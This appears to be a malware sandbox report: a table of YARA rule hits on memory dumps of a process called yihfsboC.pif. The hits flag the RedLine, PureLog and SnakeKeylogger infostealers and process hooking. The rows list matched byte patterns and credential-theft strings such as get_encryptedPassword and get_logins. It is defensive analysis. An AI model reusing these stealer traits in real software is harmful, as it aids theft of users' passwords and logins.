14.2.yihfsboC.pif.285a0000.14.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
26.2.yihfsboC.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
23.2.yihfsboC.pif.34690000.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.yihfsboC.pif.34690000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.34690000.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
23.2.yihfsboC.pif.34690000.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
26.2.yihfsboC.pif.285db98e.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.yihfsboC.pif.285db98e.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.285db98e.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
26.2.yihfsboC.pif.285db98e.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
23.2.yihfsboC.pif.342dc896.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.yihfsboC.pif.342dc896.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.342dc896.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
23.2.yihfsboC.pif.342dc896.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
26.3.yihfsboC.pif.268cecc8.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.3.yihfsboC.pif.268cecc8.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.3.yihfsboC.pif.268cecc8.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
26.3.yihfsboC.pif.268cecc8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
23.2.yihfsboC.pif.35955570.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.35955570.9.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
23.2.yihfsboC.pif.35955570.9.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
26.2.yihfsboC.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
26.2.yihfsboC.pif.2994e790.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.yihfsboC.pif.2994e790.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.2994e790.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
26.2.yihfsboC.pif.2994e790.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
26.1.yihfsboC.pif.400000.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
14.2.yihfsboC.pif.400000.5.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
26.3.yihfsboC.pif.268cecc8.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.3.yihfsboC.pif.268cecc8.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
26.3.yihfsboC.pif.268cecc8.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
14.2.yihfsboC.pif.285a0f08.13.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.yihfsboC.pif.285a0f08.13.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.285a0f08.13.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
14.2.yihfsboC.pif.285a0f08.13.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
23.2.yihfsboC.pif.34690f08.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.34690f08.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
23.2.yihfsboC.pif.34690f08.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
14.2.yihfsboC.pif.28be0000.15.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.28be0000.15.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
14.2.yihfsboC.pif.28be0000.15.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
26.2.yihfsboC.pif.29916478.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.29916478.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
26.2.yihfsboC.pif.29916478.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
23.2.yihfsboC.pif.3598e790.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.3598e790.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
23.2.yihfsboC.pif.3598e790.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
14.2.yihfsboC.pif.285a0000.14.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.285a0000.14.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
14.2.yihfsboC.pif.285a0000.14.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
26.2.yihfsboC.pif.29916478.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.yihfsboC.pif.29916478.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.29916478.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x60d2d:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x60d01:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x60dc5:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x60cdd:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x60d43:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x60b10:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x5d24e:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x5d21d:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword 0x60be4:$a13: _encryptedPassword
26.2.yihfsboC.pif.29916478.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x5f575:$s1: UnHook 0x271f9:$s2: SetHook 0x5f511:$s2: SetHook 0x27232:$s3: CallNextHook 0x5f54a:$s3: CallNextHook 0x271c1:$s4: _hook 0x5f4d9:$s4: _hook
14.2.yihfsboC.pif.2709e790.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.2709e790.10.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
14.2.yihfsboC.pif.2709e790.10.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
14.2.yihfsboC.pif.25d6c896.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.25d6c896.9.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
14.2.yihfsboC.pif.25d6c896.9.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
23.2.yihfsboC.pif.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
26.2.yihfsboC.pif.285dc896.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.yihfsboC.pif.285dc896.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.285dc896.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
26.2.yihfsboC.pif.285dc896.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
26.2.yihfsboC.pif.2ae90f08.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.yihfsboC.pif.2ae90f08.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.2ae90f08.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
26.2.yihfsboC.pif.2ae90f08.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
14.2.yihfsboC.pif.27065570.11.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.27065570.11.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
14.2.yihfsboC.pif.27065570.11.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
14.2.yihfsboC.pif.25d6c896.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.yihfsboC.pif.25d6c896.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.25d6c896.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
14.2.yihfsboC.pif.25d6c896.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
23.2.yihfsboC.pif.342db98e.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.yihfsboC.pif.342db98e.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.342db98e.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
23.2.yihfsboC.pif.342db98e.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
23.2.yihfsboC.pif.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
26.2.yihfsboC.pif.285dc896.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.285dc896.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
26.2.yihfsboC.pif.285dc896.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
26.2.yihfsboC.pif.2ae90000.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.yihfsboC.pif.2ae90000.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.2ae90000.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
26.2.yihfsboC.pif.2ae90000.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
23.3.yihfsboC.pif.327be688.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.3.yihfsboC.pif.327be688.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
